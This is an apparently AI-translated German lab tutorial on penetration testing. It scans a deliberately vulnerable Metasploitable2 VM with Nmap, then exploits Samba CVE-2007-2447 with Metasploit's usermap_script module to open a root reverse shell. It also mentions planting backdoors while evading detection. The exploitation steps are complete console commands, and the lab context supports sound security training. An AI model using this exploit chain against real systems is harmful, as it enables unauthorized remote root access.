Penetrationstests mit Nmap und Metasploit durchführen

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden Sie den grundlegenden Prozess des Penetrationstests kennenlernen und einen praktischen Angriff mit Kali Linux durchführen. Das Ziel besteht darin, über die Ausnutzung einer bekannten Samba-Schwachstelle einen Remote-Shell-Zugang zu einem anfälligen Zielsystem zu erhalten. Dieses Lab bietet die Möglichkeit, die Schritte in einem realen Penetrationstest-Szenario zu verstehen und die Verwendung beliebter Sicherheitstools wie Nmap und Metasploit zu üben.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/os_version_detection("OS and Version Detection") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416117{{"Penetrationstests mit Nmap und Metasploit durchführen"}} nmap/port_scanning -.-> lab-416117{{"Penetrationstests mit Nmap und Metasploit durchführen"}} nmap/host_discovery -.-> lab-416117{{"Penetrationstests mit Nmap und Metasploit durchführen"}} nmap/target_specification -.-> lab-416117{{"Penetrationstests mit Nmap und Metasploit durchführen"}} nmap/os_version_detection -.-> lab-416117{{"Penetrationstests mit Nmap und Metasploit durchführen"}} nmap/service_detection -.-> lab-416117{{"Penetrationstests mit Nmap und Metasploit durchführen"}} end

Einrichten der Lab-Umgebung

Penetrationstests umfassen normalerweise die folgenden Schritte:

  1. Informationssammlung: Sammeln Sie so viel Informationen wie möglich über das Zielsystem, einschließlich Netzwerkinformationen, Website-Inhalten, Verzeichnisstrukturen, potenziellen Benutzernamen, offenen Ports, Diensten, Domainnamen und Subdomains. Hierfür können verschiedene Tools verwendet werden.

  2. Schwachstellenscanning: Verwenden Sie Scanning-Tools, um das Zielsystem gründlich auf Schwachstellen zu untersuchen. Es stehen automatisierte Scanning-Tools zur Verfügung, oder manuelle Tools können für ein gezieltes Scannen bestimmter Dienste eingesetzt werden.

  3. Ausnutzung: Sobald ausnutzbare Schwachstellen identifiziert wurden, verwenden Sie geeignete Tools und Techniken, um auf dem Zielsystem einen höheren Zugriff oder höhere Rechte zu erlangen. Dies kann die Ausführung von Remote-Code, Injektionsangriffe oder andere Methoden umfassen.

  4. Zugriffserhaltung: Erstellen Sie auf dem Zielsystem eine Hintertür oder einen dauerhaften Zugangmechanismus, um zukünftigen Zugang zu erleichtern und dabei die Entdeckung zu vermeiden.

  5. Berichterstattung: Analysieren Sie die gefundenen Ergebnisse und erstellen Sie einen Bericht, der die entdeckten Schwachstellen und die während des Penetrationstest-Prozesses unternommenen Schritte detailliert beschreibt. Dieser Bericht kann der Zielorganisation helfen, ihre Systeme effektiv zu sichern.

Zusammenfassend lässt sich sagen, dass es nach dem Verständnis der grundlegenden Schritte im Penetrationstest an der Zeit ist, Theorie in die Praxis umzusetzen. Durch praktische Übungen können wir das erworbene Wissen und die gelernten Fähigkeiten anwenden und so praktische Erfahrungen auf dem Gebiet des Penetrationstests sammeln.

Zunächst müssen Sie die Lab-Umgebung für die Übung eines Penetrationstest-Szenarios einrichten.

Die Lab-Umgebung besteht aus zwei Systemen:

  1. Kali Linux-Container (Angreifer-Maschine): Dies ist ein Docker-Container, auf dem Kali Linux läuft und der zum Ausführen des Angriffs verwendet wird.

  2. Metasploitable2-Virtuelle Maschine (Ziel-Maschine): Dies ist ein anfälliger Ubuntu-Server, der als Zielsystem fungiert.

Um die Umgebung einzurichten, befolgen Sie diese Schritte:

  1. Starten Sie die Metasploitable2-Zielmaschine:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.

  1. Testen Sie die Zielmaschine mit ping, um sicherzustellen, dass sie läuft (verwenden Sie Ctrl+C, um den Befehl zu beenden):
ping 192.168.122.102
  1. Starten Sie den Kali Linux-Container und greifen Sie auf die Bash-Shell zu:
docker run -ti --network host b5b709a49cd5 bash
  1. Testen Sie die Netzwerkkonnektivität vom Kali-Container aus, indem Sie die Zielmaschine mit ping testen (verwenden Sie Ctrl+C, um den Befehl zu beenden):
ping 192.168.122.102

Sowohl die Angreifer- als auch die Zielmaschine sollten jetzt laufen und erreichbar sein. Sie können nun mit dem Penetrationstest-Prozess beginnen.

Durchführen eines Schwachstellenscans

In diesem Schritt verwenden Sie das Nmap-Tool in Kali Linux, um das Zielsystem auf offene Ports und Dienste zu scannen.

  1. Führen Sie den folgenden Nmap-Befehl aus, um einen umfassenden Scan durchzuführen und die Ausgabe in der Docker-Container-Datei /tmp/report.txt zu speichern. Der Scan kann einige Minuten dauern:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Hier ist die Bedeutung der Flags:

  • -p 1-65535: Scan aller Ports
  • -T4: Einstellung der Timing-Vorlage (höherer Wert bedeutet schnellerer Scan)
  • -A: Aktivierung der Betriebssystem- und Versionserkennung
  • -v: Erhöhung der Ausführlichkeitsebene
  • >/tmp/report.txt: Umleitung der Ausgabe in eine Datei
  1. Warten Sie, bis der Scan abgeschlossen ist (dies kann einige Minuten dauern).

  2. Analysieren Sie den Scanbericht, indem Sie die Datei /tmp/report.txt mit cat öffnen:

cat /tmp/report.txt

Der Bericht listet die offenen Ports, Dienste und Versionen auf, die auf dem Zielsystem ausgeführt werden.

  1. Identifizieren Sie alle potenziellen Schwachstellen, die mit den während des Scans gefundenen Diensten und Versionen verbunden sind.

In diesem Fall werden wir uns auf den Samba-Dienst konzentrieren, der in der auf dem Metasploitable2-System ausgeführten Version eine bekannte Remote-Befehlsausführungs-Schwachstelle (CVE-2007-2447) aufweist. Hier sind die Details der Samba USERNAME MAP SCRIPT Remote-Befehlsausführungs-Schwachstelle (CVE-2007-2447):

  • CVE: CVE-2007-2447
  • Betroffene Versionen: Samba 3.0.0 - 3.0.25rc3
  • Beschreibung der Schwachstelle: Die Schwachstelle besteht in der Art und Weise, wie Samba die username map script-Konfigurationsoption behandelt. Wenn diese Option aktiviert ist, sanitisiert Samba die Benutzereingabe nicht ordnungsgemäß, bevor es sie an die /bin/sh-Shell übergibt. Dies ermöglicht es Remote-Angreifern, beliebige Befehle als Samba-Benutzer auszuführen.

Die offizielle Beschreibung der Samba-Schwachstelle finden Sie unter: http://samba.org/samba/security/CVE-2007-2447.html

Das Metasploit-Exploit-Modul, das wir zur Ausnutzung dieser Schwachstelle verwenden werden, ist exploit/multi/samba/usermap_script. Sie können den Quellcode und die Kommentare für dieses Modul unter folgendem Link finden: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Ausnutzung der Schwachstelle mit Metasploit

In diesem Schritt verwenden Sie das Metasploit-Framework, um die Samba USERNAME MAP SCRIPT-Schwachstelle auszunutzen und einen Remote-Shell-Zugang zum Zielsystem zu erhalten.

  1. Starten Sie die Metasploit-Konsole:
cd ~
msfconsole
  1. Laden Sie das Samba-Exploit-Modul in der Metasploit-Konsole:
use exploit/multi/samba/usermap_script
  1. Legen Sie die Payload in der Metasploit-Konsole auf cmd/unix/reverse fest:
set payload cmd/unix/reverse
  1. Konfigurieren Sie die Ziel-IP-Adresse und den Port in der Metasploit-Konsole:
set RHOST 192.168.122.102
set RPORT 445
  1. Legen Sie die lokale IP-Adresse für die Reverse-Shell in der Metasploit-Konsole fest:
set LHOST 192.168.122.1
  1. Überprüfen Sie die Optionen in der Metasploit-Konsole:
show options
  1. Führen Sie das Exploit in der Metasploit-Konsole aus:
exploit

Wenn die Exploit-Ausführung erfolgreich ist, sollten Sie eine Remote-Shell-Sitzung als Root-Benutzer auf dem Zielsystem haben.

  1. Nach Abschluss Ihres Tests können Sie die Shell beenden, indem Sie Ctrl+C drücken und exit eingeben, um zum Kali-Container zurückzukehren.

Zusammenfassung

In diesem Lab haben Sie den grundlegenden Prozess des Penetrationstests kennengelernt und praktische Erfahrungen in der Durchführung eines realen Angriffsszenarios gesammelt. Sie haben eine Lab-Umgebung mit einem anfälligen Zielsystem eingerichtet, einen Schwachstellenscan mit Nmap durchgeführt, eine bekannte Samba-Schwachstelle analysiert und diese mit dem Metasploit-Framework ausgenutzt, um einen Remote-Shell-Zugang zu erhalten. Diese praktischen Erfahrungen werden Ihnen helfen, die Techniken und Tools im Penetrationstest besser zu verstehen sowie die Wichtigkeit sicherer Systemkonfigurationen und der Schwachstellenverwaltung zu erkennen.